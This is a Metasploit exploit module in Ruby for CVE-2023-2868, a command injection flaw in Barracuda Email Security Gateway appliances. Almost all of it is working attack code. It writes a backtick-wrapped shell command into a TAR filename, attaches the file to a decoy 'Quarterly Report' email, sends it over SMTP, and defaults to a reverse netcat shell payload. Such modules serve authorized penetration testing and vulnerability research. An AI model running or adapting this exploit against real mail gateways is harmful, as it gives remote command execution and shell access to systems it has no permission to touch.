Path: blob/master/modules/exploits/linux/smtp/barracuda_esg_tarfile_rce.rb
55805 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::SMTPDeliver1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Barracuda ESG TAR Filename Command Injection',16'Description' => %q{17This module exploits CVE-2023-2868, a command injection vulnerability in18Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists19in how the ESG processes TAR file attachments - filenames containing shell20metacharacters (backticks) are passed directly to shell commands during21extraction, allowing remote command execution.2223The exploit sends an email with a specially crafted TAR attachment where24the filename contains a backtick-wrapped command. When the ESG processes25this attachment, the command is executed as the mail processing user.2627Note: Payload execution may take 30-90 seconds after email delivery.28Amavisd queues and processes attachments asynchronously.2930Affected versions: Barracuda ESG firmware prior to May 2023 patch.3132Payloads containing single quotes or backticks are incompatible with33the injection mechanism. Use cmd/unix/generic with a custom CMD for34specialized payload requirements.35},36'License' => MSF_LICENSE,37'Author' => [38'Mandiant', # Discovery and analysis39'cfielding-r7', # Original PoC40'Curt Hyvarinen' # Metasploit module41],42'References' => [43['CVE', '2023-2868'],44['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'],45['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'],46['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868']47],48'DisclosureDate' => '2023-05-23',49'Platform' => 'unix',50'Arch' => ARCH_CMD,51'Privileged' => false,52'Payload' => {53'Space' => 490,54'DisableNops' => true,55'BadChars' => "'\`\x00\r\n"56},57'Targets' => [58['Unix Command', {}]59],60'DefaultTarget' => 0,61'DefaultOptions' => {62'PAYLOAD' => 'cmd/unix/reverse_netcat'63},64'Notes' => {65'Stability' => [CRASH_SAFE],66'Reliability' => [REPEATABLE_SESSION],67'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]68}69)70)7172register_options(73[74OptString.new('MAILTO', [true, 'Target email address on the ESG']),75OptString.new('MAILFROM', [true, 'Sender email address', '[email protected]']),76OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']),77OptString.new('BODY', [false, 'Email body text (default: random string)']),78OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)'])79]80)81end8283def check84connect85banner_str = banner.to_s86if banner_str =~ /barracuda/i87return CheckCode::Detected('Barracuda ESG detected in SMTP banner')88end8990if banner_str =~ /ESMTP/i91return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')92end9394CheckCode::Safe('No SMTP banner detected')95rescue Rex::ConnectionError => e96CheckCode::Unknown("Connection failed: #{e.message}")97ensure98disconnect99end100101def exploit102cmd = payload.encoded103104# Wrap payload in critical format for command injection:105# Outer single quotes prevent immediate shell parsing,106# backticks trigger command substitution when processed by vulnerable code107malicious_filename = "'`#{cmd}`'"108109print_status('Generating malicious TAR with payload filename')110vprint_status("Payload filename length: #{malicious_filename.length} bytes")111tar_data = create_malicious_tar(malicious_filename)112113print_status('Composing email with TAR attachment')114email_data = generate_exploit_email(tar_data)115116print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")117send_message(email_data)118119print_good('Email sent successfully')120print_status('Payload will execute when ESG processes the attachment')121end122123def create_malicious_tar(malicious_filename)124# Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a125# 100-byte filename limit. Override split_name to allow longer filenames126# with special characters for the injection payload.127128original_split = Rex::Tar::Writer.instance_method(:split_name)129130Rex::Tar::Writer.define_method(:split_name) do |name|131prefix = ''132if name.bytesize > 100133parts = name.split('/', -1)134name = parts.pop135prefix = parts.join('/')136while !parts.empty? && (prefix.bytesize > 155 || name.empty?)137name = parts.pop + '/' + name138prefix = parts.join('/')139end140end141[name, prefix]142end143144tar_io = StringIO.new145Rex::Tar::Writer.new(tar_io) do |tar|146content = Rex::Text.rand_text_alpha(32)147tar.add_file_simple(malicious_filename, 0o644, content.length) do |io|148io.write(content)149end150end151152# Restore original method to avoid affecting other code153Rex::Tar::Writer.define_method(:split_name, original_split)154155tar_io.string156end157158def generate_exploit_email(tar_data)159msg = Rex::MIME::Message.new160msg.mime_defaults161msg.from = datastore['MAILFROM']162msg.to = datastore['MAILTO']163msg.subject = datastore['SUBJECT']164165# Add text body166body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY']167msg.add_part(body_text, 'text/plain', nil, 'inline')168169# Add TAR attachment170attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME']171msg.add_part_attachment(tar_data, attachment_name)172173msg.to_s174end175end176177178